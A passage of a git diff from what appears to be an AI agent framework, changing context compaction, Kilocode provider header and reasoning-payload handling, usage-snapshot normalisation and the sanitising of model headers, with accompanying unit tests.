resolveOwnerDisplaySetting } from "../owner-display.js"; import { @@ -115,6 +121,8 @@ export type CompactEmbeddedPiSessionParams = { reasoningLevel?: ReasoningLevel; bashElevated?: ExecElevatedDefaults; customInstructions?: string; + tokenBudget?: number; + force?: boolean; trigger?: "overflow" | "manual"; diagId?: string; attempt?: number; @@ -368,6 +376,20 @@ export async function compactEmbeddedPiSessionDirect( sessionId: params.sessionId, warn: makeBootstrapWarn({ sessionLabel, warn: (message) => log.warn(message) }), }); + // Apply contextTokens cap to model so pi-coding-agent's auto-compaction + // threshold uses the effective limit, not the native context window. + const ctxInfo = resolveContextWindowInfo({ + cfg: params.config, + provider, + modelId, + modelContextWindow: model.contextWindow, + defaultTokens: DEFAULT_CONTEXT_TOKENS, + }); + const effectiveModel = + ctxInfo.tokens < (model.contextWindow ?? Infinity) + ? { ...model, contextWindow: ctxInfo.tokens } + : model; + const runAbortController = new AbortController(); const toolsRaw = createOpenClawCodingTools({ exec: { @@ -390,10 +412,13 @@ export async function compactEmbeddedPiSessionDirect( abortSignal: runAbortController.signal, modelProvider: model.provider, modelId, - modelContextWindowTokens: model.contextWindow, + modelContextWindowTokens: ctxInfo.tokens, modelAuthMode: resolveModelAuthMode(model.provider, params.config), }); - const tools = sanitizeToolsForGoogle({ tools: toolsRaw, provider }); + const tools = sanitizeToolsForGoogle({ + tools: supportsModelTools(model) ? toolsRaw : [], + provider, + }); const allowedToolNames = collectAllowedToolNames({ tools }); logToolSchemasForGoogle({ tools, provider }); const machineName = await getMachineDisplayName(); @@ -583,7 +608,7 @@ export async function compactEmbeddedPiSessionDirect( agentDir, authStorage, modelRegistry, - model, + model: effectiveModel, thinkingLevel: mapThinkingLevel(params.thinkLevel), tools: builtInTools, customTools, @@ -846,6 +871,49 @@ export async function compactEmbeddedPiSession( const enqueueGlobal = params.enqueue ?? ((task, opts) => enqueueCommandInLane(globalLane, task, opts)); return enqueueCommandInLane(sessionLane, () => - enqueueGlobal(async () => compactEmbeddedPiSessionDirect(params)), + enqueueGlobal(async () => { + ensureContextEnginesInitialized(); + const contextEngine = await resolveContextEngine(params.config); + try { + // Resolve token budget from model context window so the context engine + // knows the compaction target. The runner's afterTurn path passes this + // automatically, but the /compact command path needs to compute it here. + const ceProvider = (params.provider ?? DEFAULT_PROVIDER).trim() || DEFAULT_PROVIDER; + const ceModelId = (params.model ?? DEFAULT_MODEL).trim() || DEFAULT_MODEL; + const agentDir = params.agentDir ?? resolveOpenClawAgentDir(); + const { model: ceModel } = resolveModel(ceProvider, ceModelId, agentDir, params.config); + const ceCtxInfo = resolveContextWindowInfo({ + cfg: params.config, + provider: ceProvider, + modelId: ceModelId, + modelContextWindow: ceModel?.contextWindow, + defaultTokens: DEFAULT_CONTEXT_TOKENS, + }); + const result = await contextEngine.compact({ + sessionId: params.sessionId, + sessionFile: params.sessionFile, + tokenBudget: ceCtxInfo.tokens, + customInstructions: params.customInstructions, + force: params.trigger === "manual", + legacyParams: params as Record, + }); + return { + ok: result.ok, + compacted: result.compacted, + reason: result.reason, + result: result.result + ? { + summary: result.result.summary ?? "", + firstKeptEntryId: result.result.firstKeptEntryId ?? "", + tokensBefore: result.result.tokensBefore, + tokensAfter: result.result.tokensAfter, + details: result.result.details, + } + : undefined, + }; + } finally { + await contextEngine.dispose?.(); + } + }), ); } diff --git a/src/agents/pi-embedded-runner/extensions.ts b/src/agents/pi-embedded-runner/extensions.ts index 8833e175461..251063c6f19 100644 --- a/src/agents/pi-embedded-runner/extensions.ts +++ b/src/agents/pi-embedded-runner/extensions.ts @@ -87,6 +87,7 @@ export function buildEmbeddedExtensionFactories(params: { qualityGuardEnabled: qualityGuardCfg?.enabled ?? false, qualityGuardMaxRetries: qualityGuardCfg?.maxRetries, model: params.model, + recentTurnsPreserve: compactionCfg?.recentTurnsPreserve, }); factories.push(compactionSafeguardExtension); } diff --git a/src/agents/pi-embedded-runner/extra-params.kilocode.test.ts b/src/agents/pi-embedded-runner/extra-params.kilocode.test.ts new file mode 100644 index 00000000000..509cdb5edf4 --- /dev/null +++ b/src/agents/pi-embedded-runner/extra-params.kilocode.test.ts @@ -0,0 +1,182 @@ +import type { StreamFn } from "@mariozechner/pi-agent-core"; +import type { Context, Model } from "@mariozechner/pi-ai"; +import { createAssistantMessageEventStream } from "@mariozechner/pi-ai"; +import { afterEach, describe, expect, it } from "vitest"; +import { captureEnv } from "../../test-utils/env.js"; +import { applyExtraParamsToAgent } from "./extra-params.js"; + +type CapturedCall = { + headers?: Record; + payload?: Record; +}; + +function applyAndCapture(params: { + provider: string; + modelId: string; + callerHeaders?: Record; +}): CapturedCall { + const captured: CapturedCall = {}; + + const baseStreamFn: StreamFn = (_model, _context, options) => { + captured.headers = options?.headers; + options?.onPayload?.({}); + return createAssistantMessageEventStream(); + }; + const agent = { streamFn: baseStreamFn }; + + applyExtraParamsToAgent(agent, undefined, params.provider, params.modelId); + + const model = { + api: "openai-completions", + provider: params.provider, + id: params.modelId, + } as Model<"openai-completions">; + const context: Context = { messages: [] }; + + void agent.streamFn?.(model, context, { + headers: params.callerHeaders, + }); + + return captured; +} + +describe("extra-params: Kilocode wrapper", () => { + const envSnapshot = captureEnv(["KILOCODE_FEATURE"]); + + afterEach(() => { + envSnapshot.restore(); + }); + + it("injects X-KILOCODE-FEATURE header with default value", () => { + delete process.env.KILOCODE_FEATURE; + + const { headers } = applyAndCapture({ + provider: "kilocode", + modelId: "anthropic/claude-sonnet-4", + }); + + expect(headers?.["X-KILOCODE-FEATURE"]).toBe("openclaw"); + }); + + it("reads X-KILOCODE-FEATURE from KILOCODE_FEATURE env var", () => { + process.env.KILOCODE_FEATURE = "custom-feature"; + + const { headers } = applyAndCapture({ + provider: "kilocode", + modelId: "anthropic/claude-sonnet-4", + }); + + expect(headers?.["X-KILOCODE-FEATURE"]).toBe("custom-feature"); + }); + + it("cannot be overridden by caller headers", () => { + delete process.env.KILOCODE_FEATURE; + + const { headers } = applyAndCapture({ + provider: "kilocode", + modelId: "anthropic/claude-sonnet-4", + callerHeaders: { "X-KILOCODE-FEATURE": "should-be-overwritten" }, + }); + + expect(headers?.["X-KILOCODE-FEATURE"]).toBe("openclaw"); + }); + + it("does not inject header for non-kilocode providers", () => { + const { headers } = applyAndCapture({ + provider: "openrouter", + modelId: "anthropic/claude-sonnet-4", + }); + + expect(headers?.["X-KILOCODE-FEATURE"]).toBeUndefined(); + }); +}); + +describe("extra-params: Kilocode kilo/auto reasoning", () => { + it("does not inject reasoning.effort for kilo/auto", () => { + let capturedPayload: Record | undefined; + + const baseStreamFn: StreamFn = (_model, _context, options) => { + const payload: Record = { reasoning_effort: "high" }; + options?.onPayload?.(payload); + capturedPayload = payload; + return createAssistantMessageEventStream(); + }; + const agent = { streamFn: baseStreamFn }; + + // Pass thinking level explicitly (6th parameter) to trigger reasoning injection + applyExtraParamsToAgent(agent, undefined, "kilocode", "kilo/auto", undefined, "high"); + + const model = { + api: "openai-completions", + provider: "kilocode", + id: "kilo/auto", + } as Model<"openai-completions">; + const context: Context = { messages: [] }; + + void agent.streamFn?.(model, context, {}); + + // kilo/auto should not have reasoning injected + expect(capturedPayload?.reasoning).toBeUndefined(); + expect(capturedPayload).not.toHaveProperty("reasoning_effort"); + }); + + it("injects reasoning.effort for non-auto kilocode models", () => { + let capturedPayload: Record | undefined; + + const baseStreamFn: StreamFn = (_model, _context, options) => { + const payload: Record = {}; + options?.onPayload?.(payload); + capturedPayload = payload; + return createAssistantMessageEventStream(); + }; + const agent = { streamFn: baseStreamFn }; + + applyExtraParamsToAgent( + agent, + undefined, + "kilocode", + "anthropic/claude-sonnet-4", + undefined, + "high", + ); + + const model = { + api: "openai-completions", + provider: "kilocode", + id: "anthropic/claude-sonnet-4", + } as Model<"openai-completions">; + const context: Context = { messages: [] }; + + void agent.streamFn?.(model, context, {}); + + // Non-auto models should have reasoning injected + expect(capturedPayload?.reasoning).toEqual({ effort: "high" }); + }); + + it("does not inject reasoning.effort for x-ai models", () => { + let capturedPayload: Record | undefined; + + const baseStreamFn: StreamFn = (_model, _context, options) => { + const payload: Record = { reasoning_effort: "high" }; + options?.onPayload?.(payload); + capturedPayload = payload; + return createAssistantMessageEventStream(); + }; + const agent = { streamFn: baseStreamFn }; + + applyExtraParamsToAgent(agent, undefined, "kilocode", "x-ai/grok-3", undefined, "high"); + + const model = { + api: "openai-completions", + provider: "kilocode", + id: "x-ai/grok-3", + } as Model<"openai-completions">; + const context: Context = { messages: [] }; + + void agent.streamFn?.(model, context, {}); + + // x-ai models reject reasoning.effort — should be skipped + expect(capturedPayload?.reasoning).toBeUndefined(); + expect(capturedPayload).not.toHaveProperty("reasoning_effort"); + }); +}); diff --git a/src/agents/pi-embedded-runner/extra-params.ts b/src/agents/pi-embedded-runner/extra-params.ts index 9f8380184f3..78dffcd9cbe 100644 --- a/src/agents/pi-embedded-runner/extra-params.ts +++ b/src/agents/pi-embedded-runner/extra-params.ts @@ -9,6 +9,15 @@ const OPENROUTER_APP_HEADERS: Record = { "HTTP-Referer": "https://openclaw.ai", "X-Title": "OpenClaw", }; +const KILOCODE_FEATURE_HEADER = "X-KILOCODE-FEATURE"; +const KILOCODE_FEATURE_DEFAULT = "openclaw"; +const KILOCODE_FEATURE_ENV_VAR = "KILOCODE_FEATURE"; + +function resolveKilocodeAppHeaders(): Record { + const feature = process.env[KILOCODE_FEATURE_ENV_VAR]?.trim() || KILOCODE_FEATURE_DEFAULT; + return { [KILOCODE_FEATURE_HEADER]: feature }; +} + const ANTHROPIC_CONTEXT_1M_BETA = "context-1m-2025-08-07"; const ANTHROPIC_1M_MODEL_PREFIXES = ["claude-opus-4", "claude-sonnet-4"] as const; // NOTE: We only force `store=true` for *direct* OpenAI Responses. @@ -846,6 +855,45 @@ function createKimiCodingAnthropicToolSchemaWrapper(baseStreamFn: StreamFn | und * Create a streamFn wrapper that adds OpenRouter app attribution headers * and injects reasoning.effort based on the configured thinking level. */ +function normalizeProxyReasoningPayload(payload: unknown, thinkingLevel?: ThinkLevel): void { + if (!payload || typeof payload !== "object") { + return; + } + + const payloadObj = payload as Record; + + // pi-ai may inject a top-level reasoning_effort (OpenAI flat format). + // OpenRouter-compatible proxy gateways expect the nested reasoning.effort + // shape instead, and some models reject the flat field outright. + delete payloadObj.reasoning_effort; + + // When thinking is "off", or provider/model guards disable injection, + // leave reasoning unset after normalizing away the legacy flat field. + if (!thinkingLevel || thinkingLevel === "off") { + return; + } + + const existingReasoning = payloadObj.reasoning; + + // OpenRouter treats reasoning.effort and reasoning.max_tokens as + // alternative controls. If max_tokens is already present, do not inject + // effort and do not overwrite caller-supplied reasoning. + if ( + existingReasoning && + typeof existingReasoning === "object" && + !Array.isArray(existingReasoning) + ) { + const reasoningObj = existingReasoning as Record; + if (!("max_tokens" in reasoningObj) && !("effort" in reasoningObj)) { + reasoningObj.effort = mapThinkingLevelToOpenRouterReasoningEffort(thinkingLevel); + } + } else if (!existingReasoning) { + payloadObj.reasoning = { + effort: mapThinkingLevelToOpenRouterReasoningEffort(thinkingLevel), + }; + } +} + function createOpenRouterWrapper( baseStreamFn: StreamFn | undefined, thinkingLevel?: ThinkLevel, @@ -860,42 +908,7 @@ function createOpenRouterWrapper( ...options?.headers, }, onPayload: (payload) => { - if (thinkingLevel && payload && typeof payload === "object") { - const payloadObj = payload as Record; - - // pi-ai may inject a top-level reasoning_effort (OpenAI flat format). - // OpenRouter expects the nested reasoning.effort format instead, and - // rejects payloads containing both fields. Remove the flat field so - // only the nested one is sent. - delete payloadObj.reasoning_effort; - - // When thinking is "off", do not inject reasoning at all. - // Some models (e.g. deepseek/deepseek-r1) require reasoning and reject - // { effort: "none" } with "Reasoning is mandatory for this endpoint and - // cannot be disabled." Omitting the field lets each model use its own - // default reasoning behavior. - if (thinkingLevel !== "off") { - const existingReasoning = payloadObj.reasoning; - - // OpenRouter treats reasoning.effort and reasoning.max_tokens as - // alternative controls. If max_tokens is already present, do not - // inject effort and do not overwrite caller-supplied reasoning. - if ( - existingReasoning && - typeof existingReasoning === "object" && - !Array.isArray(existingReasoning) - ) { - const reasoningObj = existingReasoning as Record; - if (!("max_tokens" in reasoningObj) && !("effort" in reasoningObj)) { - reasoningObj.effort = mapThinkingLevelToOpenRouterReasoningEffort(thinkingLevel); - } - } else if (!existingReasoning) { - payloadObj.reasoning = { - effort: mapThinkingLevelToOpenRouterReasoningEffort(thinkingLevel), - }; - } - } - } + normalizeProxyReasoningPayload(payload, thinkingLevel); onPayload?.(payload); }, }); @@ -903,14 +916,41 @@ function createOpenRouterWrapper( } /** - * Models on OpenRouter that do not support the `reasoning.effort` parameter. - * Injecting it causes "Invalid arguments passed to the model" errors. + * Models on OpenRouter-style proxy providers that reject `reasoning.effort`. */ -function isOpenRouterReasoningUnsupported(modelId: string): boolean { +function isProxyReasoningUnsupported(modelId: string): boolean { const id = modelId.toLowerCase(); return id.startsWith("x-ai/"); } +/** + * Create a streamFn wrapper that adds the Kilocode feature attribution header + * and injects reasoning.effort based on the configured thinking level. + * + * The Kilocode provider gateway manages provider-specific quirks (e.g. cache + * control) server-side, so we only handle header injection and reasoning here. + */ +function createKilocodeWrapper( + baseStreamFn: StreamFn | undefined, + thinkingLevel?: ThinkLevel, +): StreamFn { + const underlying = baseStreamFn ?? streamSimple; + return (model, context, options) => { + const onPayload = options?.onPayload; + return underlying(model, context, { + ...options, + headers: { + ...options?.headers, + ...resolveKilocodeAppHeaders(), + }, + onPayload: (payload) => { + normalizeProxyReasoningPayload(payload, thinkingLevel); + onPayload?.(payload); + }, + }); + }; +} + function isGemini31Model(modelId: string): boolean { const normalized = modelId.toLowerCase(); return normalized.includes("gemini-3.1-pro") || normalized.includes("gemini-3.1-flash"); @@ -1118,12 +1158,22 @@ export function applyExtraParamsToAgent( // and reject payloads containing it with "Invalid arguments passed to the // model." Skip reasoning injection for these models. // See: openclaw/openclaw#32039 - const skipReasoningInjection = modelId === "auto" || isOpenRouterReasoningUnsupported(modelId); + const skipReasoningInjection = modelId === "auto" || isProxyReasoningUnsupported(modelId); const openRouterThinkingLevel = skipReasoningInjection ? undefined : thinkingLevel; agent.streamFn = createOpenRouterWrapper(agent.streamFn, openRouterThinkingLevel); agent.streamFn = createOpenRouterSystemCacheWrapper(agent.streamFn); } + if (provider === "kilocode") { + log.debug(`applying Kilocode feature header for ${provider}/${modelId}`); + // kilo/auto is a dynamic routing model — skip reasoning injection + // (same rationale as OpenRouter "auto"). See: openclaw/openclaw#24851 + // Also skip for models known to reject reasoning.effort (e.g. x-ai/*). + const kilocodeThinkingLevel = + modelId === "kilo/auto" || isProxyReasoningUnsupported(modelId) ? undefined : thinkingLevel; + agent.streamFn = createKilocodeWrapper(agent.streamFn, kilocodeThinkingLevel); + } + if (provider === "amazon-bedrock" && !isAnthropicBedrockModel(modelId)) { log.debug(`disabling prompt caching for non-Anthropic Bedrock model ${provider}/${modelId}`); agent.streamFn = createBedrockNoCacheWrapper(agent.streamFn); diff --git a/src/agents/pi-embedded-runner/google.ts b/src/agents/pi-embedded-runner/google.ts index 094aa9142c3..4daf30552b3 100644 --- a/src/agents/pi-embedded-runner/google.ts +++ b/src/agents/pi-embedded-runner/google.ts @@ -25,7 +25,12 @@ import { } from "../session-transcript-repair.js"; import type { TranscriptPolicy } from "../transcript-policy.js"; import { resolveTranscriptPolicy } from "../transcript-policy.js"; -import { makeZeroUsageSnapshot } from "../usage.js"; +import { + makeZeroUsageSnapshot, + normalizeUsage, + type AssistantUsageSnapshot, + type UsageLike, +} from "../usage.js"; import { log } from "./logger.js"; import { dropThinkingBlocks } from "./thinking.js"; import { describeUnknownError } from "./utils.js"; @@ -200,6 +205,111 @@ function stripStaleAssistantUsageBeforeLatestCompaction(messages: AgentMessage[] return touched ? out : messages; } +function normalizeAssistantUsageSnapshot(usage: unknown) { + const normalized = normalizeUsage((usage ?? undefined) as UsageLike | undefined); + if (!normalized) { + return makeZeroUsageSnapshot(); + } + const input = normalized.input ?? 0; + const output = normalized.output ?? 0; + const cacheRead = normalized.cacheRead ?? 0; + const cacheWrite = normalized.cacheWrite ?? 0; + const totalTokens = normalized.total ?? input + output + cacheRead + cacheWrite; + const cost = normalizeAssistantUsageCost(usage); + return { + input, + output, + cacheRead, + cacheWrite, + totalTokens, + ...(cost ? { cost } : {}), + }; +} + +function normalizeAssistantUsageCost(usage: unknown): AssistantUsageSnapshot["cost"] | undefined { + const base = makeZeroUsageSnapshot().cost; + if (!usage || typeof usage !== "object") { + return undefined; + } + const rawCost = (usage as { cost?: unknown }).cost; + if (!rawCost || typeof rawCost !== "object") { + return undefined; + } + const cost = rawCost as Record; + const inputRaw = toFiniteCostNumber(cost.input); + const outputRaw = toFiniteCostNumber(cost.output); + const cacheReadRaw = toFiniteCostNumber(cost.cacheRead); + const cacheWriteRaw = toFiniteCostNumber(cost.cacheWrite); + const totalRaw = toFiniteCostNumber(cost.total); + if ( + inputRaw === undefined && + outputRaw === undefined && + cacheReadRaw === undefined && + cacheWriteRaw === undefined && + totalRaw === undefined + ) { + return undefined; + } + const input = inputRaw ?? base.input; + const output = outputRaw ?? base.output; + const cacheRead = cacheReadRaw ?? base.cacheRead; + const cacheWrite = cacheWriteRaw ?? base.cacheWrite; + const total = totalRaw ?? input + output + cacheRead + cacheWrite; + return { input, output, cacheRead, cacheWrite, total }; +} + +function toFiniteCostNumber(value: unknown): number | undefined { + return typeof value === "number" && Number.isFinite(value) ? value : undefined; +} + +function ensureAssistantUsageSnapshots(messages: AgentMessage[]): AgentMessage[] { + if (messages.length === 0) { + return messages; + } + + let touched = false; + const out = [...messages]; + for (let i = 0; i < out.length; i += 1) { + const message = out[i] as (AgentMessage & { role?: unknown; usage?: unknown }) | undefined; + if (!message || message.role !== "assistant") { + continue; + } + const normalizedUsage = normalizeAssistantUsageSnapshot(message.usage); + const usageCost = + message.usage && typeof message.usage === "object" + ? (message.usage as { cost?: unknown }).cost + : undefined; + const normalizedCost = normalizedUsage.cost; + if ( + message.usage && + typeof message.usage === "object" && + (message.usage as { input?: unknown }).input === normalizedUsage.input && + (message.usage as { output?: unknown }).output === normalizedUsage.output && + (message.usage as { cacheRead?: unknown }).cacheRead === normalizedUsage.cacheRead && + (message.usage as { cacheWrite?: unknown }).cacheWrite === normalizedUsage.cacheWrite && + (message.usage as { totalTokens?: unknown }).totalTokens === normalizedUsage.totalTokens && + ((normalizedCost && + usageCost && + typeof usageCost === "object" && + (usageCost as { input?: unknown }).input === normalizedCost.input && + (usageCost as { output?: unknown }).output === normalizedCost.output && + (usageCost as { cacheRead?: unknown }).cacheRead === normalizedCost.cacheRead && + (usageCost as { cacheWrite?: unknown }).cacheWrite === normalizedCost.cacheWrite && + (usageCost as { total?: unknown }).total === normalizedCost.total) || + (!normalizedCost && usageCost === undefined)) + ) { + continue; + } + out[i] = { + ...(message as unknown as Record), + usage: normalizedUsage, + } as AgentMessage; + touched = true; + } + + return touched ? out : messages; +} + export function findUnsupportedSchemaKeywords(schema: unknown, path: string): string[] { if (!schema || typeof schema !== "object") { return []; @@ -449,8 +559,9 @@ export async function sanitizeSessionHistory(params: { ? sanitizeToolUseResultPairing(sanitizedToolCalls) : sanitizedToolCalls; const sanitizedToolResults = stripToolResultDetails(repairedTools); - const sanitizedCompactionUsage = - stripStaleAssistantUsageBeforeLatestCompaction(sanitizedToolResults); + const sanitizedCompactionUsage = ensureAssistantUsageSnapshots( + stripStaleAssistantUsageBeforeLatestCompaction(sanitizedToolResults), + ); const isOpenAIResponsesApi = params.modelApi === "openai-responses" || params.modelApi === "openai-codex-responses"; diff --git a/src/agents/pi-embedded-runner/model.test.ts b/src/agents/pi-embedded-runner/model.test.ts index d23b68d32b6..ca12a76cb36 100644 --- a/src/agents/pi-embedded-runner/model.test.ts +++ b/src/agents/pi-embedded-runner/model.test.ts @@ -179,6 +179,28 @@ describe("buildInlineProviderModels", () => { expect(result).toHaveLength(1); expect(result[0].headers).toBeUndefined(); }); + + it("preserves literal marker-shaped headers in inline provider models", () => { + const providers: Parameters[0] = { + custom: { + headers: { + Authorization: "secretref-env:OPENAI_HEADER_TOKEN", + "X-Managed": "secretref-managed", + "X-Static": "tenant-a", + }, + models: [makeModel("custom-model")], + }, + }; + + const result = buildInlineProviderModels(providers); + + expect(result).toHaveLength(1); + expect(result[0].headers).toEqual({ + Authorization: "secretref-env:OPENAI_HEADER_TOKEN", + "X-Managed": "secretref-managed", + "X-Static": "tenant-a", + }); + }); }); describe("resolveModel", () => { @@ -223,6 +245,56 @@ describe("resolveModel", () => { }); }); + it("preserves literal marker-shaped provider headers in fallback models", () => { + const cfg = { + models: { + providers: { + custom: { + baseUrl: "http://localhost:9000", + headers: { + Authorization: "secretref-env:OPENAI_HEADER_TOKEN", + "X-Managed": "secretref-managed", + "X-Custom-Auth": "token-123", + }, + models: [makeModel("listed-model")], + }, + }, + }, + } as OpenClawConfig; + + const result = resolveModel("custom", "missing-model", "/tmp/agent", cfg); + + expect(result.error).toBeUndefined(); + expect((result.model as unknown as { headers?: Record }).headers).toEqual({ + Authorization: "secretref-env:OPENAI_HEADER_TOKEN", + "X-Managed": "secretref-managed", + "X-Custom-Auth": "token-123", + }); + }); + + it("drops marker headers from discovered models.json entries", () => { + mockDiscoveredModel({ + provider: "custom", + modelId: "listed-model", + templateModel: { + ...makeModel("listed-model"), + provider: "custom", + headers: { + Authorization: "secretref-env:OPENAI_HEADER_TOKEN", + "X-Managed": "secretref-managed", + "X-Static": "tenant-a", + }, + }, + }); + + const result = resolveModel("custom", "listed-model", "/tmp/agent"); + + expect(result.error).toBeUndefined(); + expect((result.model as unknown as { headers?: Record }).headers).toEqual({ + "X-Static": "tenant-a", + }); + }); + it("prefers matching configured model metadata for fallback token limits", () => { const cfg = { models: { diff --git a/src/agents/pi-embedded-runner/model.ts b/src/agents/pi-embedded-runner/model.ts index b846895d029..f1b31a5e49a 100644 --- a/src/agents/pi-embedded-runner/model.ts +++ b/src/agents/pi-embedded-runner/model.ts @@ -5,6 +5,7 @@ import type { ModelDefinitionConfig } from "../../config/types.js"; import { resolveOpenClawAgentDir } from "../agent-paths.js"; import { DEFAULT_CONTEXT_TOKENS } from "../defaults.js"; import { buildModelAliasLines } from "../model-alias-lines.js"; +import { isSecretRefHeaderValueMarker } from "../model-auth-markers.js"; import { normalizeModelCompat } from "../model-compat.js"; import { resolveForwardCompatModel } from "../model-forward-compat.js"; import { findNormalizedProviderValue, normalizeProviderId } from "../model-selection.js"; @@ -19,9 +20,29 @@ type InlineProviderConfig = { baseUrl?: string; api?: ModelDefinitionConfig["api"]; models?: ModelDefinitionConfig[]; - headers?: Record; + headers?: unknown; }; +function sanitizeModelHeaders( + headers: unknown, + opts?: { stripSecretRefMarkers?: boolean }, +): Record | undefined { + if (!headers || typeof headers !== "object" || Array.isArray(headers)) { + return undefined; + } + const next: Record = {}; + for (const [headerName, headerValue] of Object.entries(headers)) { + if (typeof headerValue !== "string") { + continue; + } + if (opts?.stripSecretRefMarkers && isSecretRefHeaderValueMarker(headerValue)) { + continue; + } + next[headerName] = headerValue; + } + return Object.keys(next).length > 0 ? next : undefined; +} + export { buildModelAliasLines }; function resolveConfiguredProviderConfig( @@ -46,16 +67,23 @@ function applyConfiguredProviderOverrides(params: { }): Model { const { discoveredModel, providerConfig, modelId } = params; if (!providerConfig) { - return discoveredModel; + return { + ...discoveredModel, + // Discovered models originate from models.json and may contain persistence markers. + headers: sanitizeModelHeaders(discoveredModel.headers, { stripSecretRefMarkers: true }), + }; } const configuredModel = providerConfig.models?.find((candidate) => candidate.id === modelId); - if ( - !configuredModel && - !providerConfig.baseUrl && - !providerConfig.api && - !providerConfig.headers - ) { - return discoveredModel; + const discoveredHeaders = sanitizeModelHeaders(discoveredModel.headers, { + stripSecretRefMarkers: true, + }); + const providerHeaders = sanitizeModelHeaders(providerConfig.headers); + const configuredHeaders = sanitizeModelHeaders(configuredModel?.headers); + if (!configuredModel && !providerConfig.baseUrl && !providerConfig.api && !providerHeaders) { + return { + ...discoveredModel, + headers: discoveredHeaders, + }; } return { ...discoveredModel, @@ -67,13 +95,13 @@ function applyConfiguredProviderOverrides(params: { contextWindow: configuredModel?.contextWindow ?? discoveredModel.contextWindow, maxTokens: configuredModel?.maxTokens ?? discoveredModel.maxTokens, headers: - providerConfig.headers || configuredModel?.headers + discoveredHeaders || providerHeaders || configuredHeaders ? { - ...discoveredModel.headers, - ...providerConfig.headers, - ...configuredModel?.headers, + ...discoveredHeaders, + ...providerHeaders, + ...configuredHeaders, } - : discoveredModel.headers, + : undefined, compat: configuredModel?.compat ?? discoveredModel.compat, }; } @@ -86,15 +114,22 @@ export function buildInlineProviderModels( if (!trimmed) { return []; } + const providerHeaders = sanitizeModelHeaders(entry?.headers); return (entry?.models ?? []).map((model) => ({ ...model, provider: trimmed, baseUrl: entry?.baseUrl, api: model.api ?? entry?.api, - headers: - entry?.headers || (model as InlineModelEntry).headers - ? { ...entry?.headers, ...(model as InlineModelEntry).headers } - : undefined, + headers: (() => { + const modelHeaders = sanitizeModelHeaders((model as InlineModelEntry).headers); + if (!providerHeaders && !modelHeaders) { + return undefined; + } + return { + ...providerHeaders, + ...modelHeaders, + }; + })(), })); }); } @@ -161,6 +196,8 @@ export function resolveModelWithRegistry(params: { } const configuredModel = providerConfig?.models?.find((candidate) => candidate.id === modelId); + const providerHeaders = sanitizeModelHeaders(providerConfig?.headers); + const modelHeaders = sanitizeModelHeaders(configuredModel?.headers); if (providerConfig || modelId.startsWith("mock-")) { return normalizeModelCompat({ id: modelId, @@ -180,9 +217,7 @@ export function resolveModelWithRegistry(params: { providerConfig?.models?.[0]?.maxTokens ?? DEFAULT_CONTEXT_TOKENS, headers: - providerConfig?.headers || configuredModel?.headers - ? { ...providerConfig?.headers, ...configuredModel?.headers } - : undefined, + providerHeaders || modelHeaders ? { ...providerHeaders, ...modelHeaders } : undefined, } as Model); } diff --git a/src/agents/pi-embedded-runner/run.overflow-compaction.test.ts b/src/agents/pi-embedded-runner/run.overflow-compaction.test.ts index 1f8f8032f7e..19b4a81d279 100644 --- a/src/agents/pi-embedded-runner/run.overflow-compaction.test.ts +++ b/src/agents/pi-embedded-runner/run.overflow-compaction.test.ts @@ -54,6 +54,22 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { ); }); + it("passes resolved auth profile into run attempts for context-engine afterTurn propagation", async () => { + mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); + + await runEmbeddedPiAgent({ + ...overflowBaseRunParams, + runId: "run-auth-profile-passthrough", + }); + + expect(mockedRunEmbeddedAttempt).toHaveBeenCalledWith( + expect.objectContaining({ + authProfileId: "test-profile", + authProfileIdSource: "auto", + }), + ); + }); + it("passes trigger=overflow when retrying compaction after context overflow", async () => { mockOverflowRetrySuccess({ runEmbeddedAttempt: mockedRunEmbeddedAttempt, diff --git a/src/agents/pi-embedded-runner/run.ts b/src/agents/pi-embedded-runner/run.ts index a5b799471d2..80ef934d63e 100644 --- a/src/agents/pi-embedded-runner/run.ts +++ b/src/agents/pi-embedded-runner/run.ts @@ -1,6 +1,11 @@ import { randomBytes } from "node:crypto"; import fs from "node:fs/promises"; import type { ThinkLevel } from "../../auto-reply/thinking.js"; +import { + ensureContextEnginesInitialized, + resolveContextEngine, +} from "../../context-engine/index.js"; +import { computeBackoff, sleepWithAbort, type BackoffPolicy } from "../../infra/backoff.js"; import { generateSecureToken } from "../../infra/secure-random.js"; import { getGlobalHookRunner } from "../../plugins/hook-runner-global.js"; import type { PluginHookBeforeAgentStartResult } from "../../plugins/types.js"; @@ -10,6 +15,7 @@ import { resolveOpenClawAgentDir } from "../agent-paths.js"; import { hasConfiguredModelFallbacks } from "../agent-scope.js"; import { isProfileInCooldown, + type AuthProfileFailureReason, markAuthProfileFailure, markAuthProfileGood, markAuthProfileUsed, @@ -50,7 +56,6 @@ import { } from "../pi-embedded-helpers.js"; import { derivePromptTokens, normalizeUsage, type UsageLike } from "../usage.js"; import { redactRunIdentifier, resolveRunWorkspaceDir } from "../workspace-run.js"; -import { compactEmbeddedPiSessionDirect } from "./compact.js"; import { resolveGlobalLane, resolveSessionLane } from "./lanes.js"; import { log } from "./logger.js"; import { resolveModel } from "./model.js"; @@ -76,6 +81,14 @@ type CopilotTokenState = { const COPILOT_REFRESH_MARGIN_MS = 5 * 60 * 1000; const COPILOT_REFRESH_RETRY_MS = 60 * 1000; const COPILOT_REFRESH_MIN_DELAY_MS = 5 * 1000; +// Keep overload pacing noticeable enough to avoid tight retry bursts, but short +// enough that fallback still feels responsive within a single turn. +const OVERLOAD_FAILOVER_BACKOFF_POLICY: BackoffPolicy = { + initialMs: 250, + maxMs: 1_500, + factor: 2, + jitter: 0.2, +}; // Avoid Anthropic's refusal test token poisoning session transcripts. const ANTHROPIC_MAGIC_STRING_TRIGGER_REFUSAL = "ANTHROPIC_MAGIC_STRING_TRIGGER_REFUSAL"; @@ -362,6 +375,12 @@ export async function runEmbeddedPiAgent( modelContextWindow: model.contextWindow, defaultTokens: DEFAULT_CONTEXT_TOKENS, }); + // Apply contextTokens cap to model so pi-coding-agent's auto-compaction + // threshold uses the effective limit, not the native context window. + const effectiveModel = + ctxInfo.tokens < (model.contextWindow ?? Infinity) + ? { ...model, contextWindow: ctxInfo.tokens } + : model; const ctxGuard = evaluateContextWindowGuard({ info: ctxInfo, warnBelowTokens: CONTEXT_WINDOW_WARN_BELOW_TOKENS, @@ -646,21 +665,21 @@ export async function runEmbeddedPiAgent( profileIds: autoProfileCandidates, }) ?? "rate_limit") : null; - const allowRateLimitCooldownProbe = - params.allowRateLimitCooldownProbe === true && + const allowTransientCooldownProbe = + 